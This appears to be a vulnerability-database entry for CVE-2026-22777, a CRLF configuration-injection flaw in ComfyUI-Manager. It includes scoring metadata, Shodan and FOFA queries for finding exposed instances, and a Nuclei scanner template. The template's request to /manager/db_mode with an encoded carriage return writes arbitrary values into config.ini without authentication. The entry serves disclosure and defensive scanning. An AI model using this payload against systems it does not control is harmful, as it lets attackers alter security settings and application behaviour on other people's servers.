SecurityContext

CVE-2026-22777: ComfyUI-Manager < 3.39.2 - CRLF Configuration Injection

Classification

  • Cwe: CWE-93
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
  • Epss score: 0.00866
  • Epss percentile: 0.59587
  • Not known: cpe

Metadata

  • Fofa-query: title="ComfyUI"
  • Max-request: 2
  • Product: comfyui-manager
  • Shodan-query: http.title:"ComfyUI"
  • Vendor: comfy
  • Verified: yes

Products

ProductIndexedUrl
comfy:comfyui-manageryes/v1/products/comfy/comfyui-manager

Labels

  • Name: ComfyUI-Manager - Broken Access Control
  • Impact: Attackers can modify application configuration, potentially altering security settings or application behavior.
  • Remediation: Update to versions 3.39.2 or 4.0.5 or later.
  • Vulnerability type: broken_access_control
  • Vulnerability impact: data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2026-22777
  • Not known: requirements

```yaml

id: CVE-2026-22777

info:

name: ComfyUI-Manager < 3.39.2 - CRLF Configuration Injection

author: TassioSales,DhiyaneshDk

severity: high

description: |

ComfyUI-Manager is an extension designed to enhance the usability of ComfyUI. Prior to versions 3.39.2 and 4.0.5, an attacker can inject special characters into HTTP query parameters to add arbitrary configuration values to the config.ini file. This can lead to security setting tampering or modification of application behavior.

impact: |

Attackers can modify application configuration, potentially altering security settings or application behavior.

remediation: |

This issue has been patched in versions 3.39.2 and 4.0.5.

reference:

- https://github.com/Comfy-Org/ComfyUI-Manager/security/advisories/GHSA-562r-8445-54r2

- https://github.com/Comfy-Org/ComfyUI-Manager/commit/f4fa394e0f03b013f1068c96cff168ad10bd0410

- https://nvd.nist.gov/vuln/detail/CVE-2026-22777

- https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2026-22777

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

cvss-score: 7.5

cve-id: CVE-2026-22777

epss-score: 0.00866

epss-percentile: 0.59587

cwe-id: CWE-93

metadata:

verified: true

max-request: 2

vendor: comfy

product: comfyui-manager

shodan-query: http.title:"ComfyUI"

fofa-query: title="ComfyUI"

tags: cve,cve2026,comfyui,comfyui-manager,comfy,crlf,config-injection,intrusive,unauth

variables:

key: "{{to_lower(rand_text_alpha(8))}}"

val: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2)

http:

- raw:

- |

GET /manager/db_mode?value={{key}}%0D{{val}}%20%3D%20injected HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status_code == 200'

internal: true

- raw:

- |

GET /manager/db_mode HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(to_lower(body), key)'

- 'contains(to_lower(body), val)'

- '!contains(to_lower(body), key + val)'

condition: and

digest: 4a0a0047304502202cb01d2b361beea3b08b996e1d3948385355f247f9b5604cd43c2645f7f3d09b022100aa712e71e00e13c0b8ce04930b5a3981b2c8f67013a007cf074e44f4385e0b94:922c64590222798bb761d5b6d8e72950

```